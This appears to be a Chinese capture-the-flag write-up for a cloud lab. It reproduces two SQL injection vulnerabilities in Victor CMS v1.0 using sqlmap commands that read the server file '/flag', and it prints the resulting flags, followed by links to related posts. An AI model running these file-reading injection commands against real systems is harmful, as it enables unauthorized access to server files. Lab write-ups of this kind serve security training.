[春秋云镜wp]CVE-2022-28060 CVE-2022-26201 Victor CMS v1.0存在sql注入漏洞复现拿flag

CVE-2022-28060

访问题目提示的login.php，登录框登录抓包，保存为2.txt，sqlmap跑起来

 python3 sqlmap.py -r 2.txt  --file-read "/flag" --dbms Mysql

时间3分钟左右，自己手动输入Y后回车，跑完根据提示打开文件夹，拿到flag

动下小手来个赞吧~~~

flag{bb728a3c-5fdd-4818-94c3-d2fdc7984561}

CVE-2022-26201

和上面同类型，点击首页上面banner的admin，未授权直接进入，找到如图的注入点

抓包，保存为3.txt，sqlmap跑起来，跟上面一样了

python3 sqlmap.py -r 3.txt --file-read "/flag" --dbms Mysql

时间也是3分钟左右，自己手动输入Y后回车，跑完根据提示打开文件夹，拿到flag

动下小手来个赞吧~~~

flag{30dc0399-c6e1-4d81-82a1-0d35507a50eb}

总结：sql注入类ctf，直接根据--file-read "/flag" --dbms Mysql可以从数据库把flag down下来。

留个关注哦~~~

[春秋云镜wp]CVE-2022-28060 CVE-2022-26201 Victor CMS v1.0存在sql注入漏洞复现拿flag相关推荐

春秋云镜wp day1
春秋云镜wp day1 (qq.com) 建议关注公众号 websec.space,以后文章来csdn备份一份今天看到之前买了内网渗透那本书,今天看到靶场上线了,打一天玩一下,总体cve的洞很好刷, ...
2022最新爱奇艺签到助手V1.0网站PHP源码
正文: 2022最新爱奇艺签到助手V1.0网站PHP源码,支持扫码登录. 走的官方接口,程序开源不加密,安装教程: PHP环境,上传即可,PHP设置7.2就行程序: wwwu.lanzouw.com ...
i春秋2020新春公益赛 GYCTF有关SQL注入题复现
0x00 前言最近这段时间参加过一些CTF在线竞赛,做过一些Web题,发现SQL注入漏洞出现的频率可真高!不过在做题中也get到了一些Web新知识,现在通过题目复现的方式总结一下. 0x01 bla ...
春秋云镜 CVE-2022-24223
春秋云镜 CVE-2022-24223 AtomCMS SQL注入漏洞靶标介绍 Elite Graphix Elite Cms是印度Elite Graphix公司的一个用 Php 语言编写的 Web ...
[春秋云镜]CVE-2020-19960,CVE-2020-19961
声明:⽂中所涉及的技术.思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担.所有渗透都需获取授权! 靶场介绍 zz cms 2019 存在sql注入漏 ...
春秋云镜 CVE-2022-30887 多语言药房管理系统 (MPMS) [超详细新手教程]
文章目录一.题目描述二.简单分析三.总结提示:以下是本篇文章正文内容,下面案例可供参考一.题目描述多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的 ...
[春秋云镜]CVE-2022-2073
声明:⽂中所涉及的技术.思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担.所有渗透都需获取授权! 靶场介绍 Grav CMS 可以通过 Twig 来 ...
春秋云镜 CVE-2022-24263
春秋云镜 CVE-2022-24263 Hospital Management System sqli 靶标介绍 HospitalManagementSystem是使用Mysql数据库的医院信息管理系 ...
php wp foo,【翻译】WordPress WPDB SQL注入攻击（技术文档）
WordPress 4.8.3中修复了一个重要的SQL注入漏洞.漏洞是今年9月20日由Hacker-One报告的.本文主要讲了漏洞的技术细节和解决方法. 升级到最新版本网站管理员应该升级WordPr ...

[春秋云镜wp]CVE-2022-28060 CVE-2022-26201 Victor CMS v1.0存在sql注入漏洞复现拿flag

CVE-2022-28060

CVE-2022-26201

[春秋云镜wp]CVE-2022-28060 CVE-2022-26201 Victor CMS v1.0存在sql注入漏洞复现拿flag相关推荐

最新文章

热门文章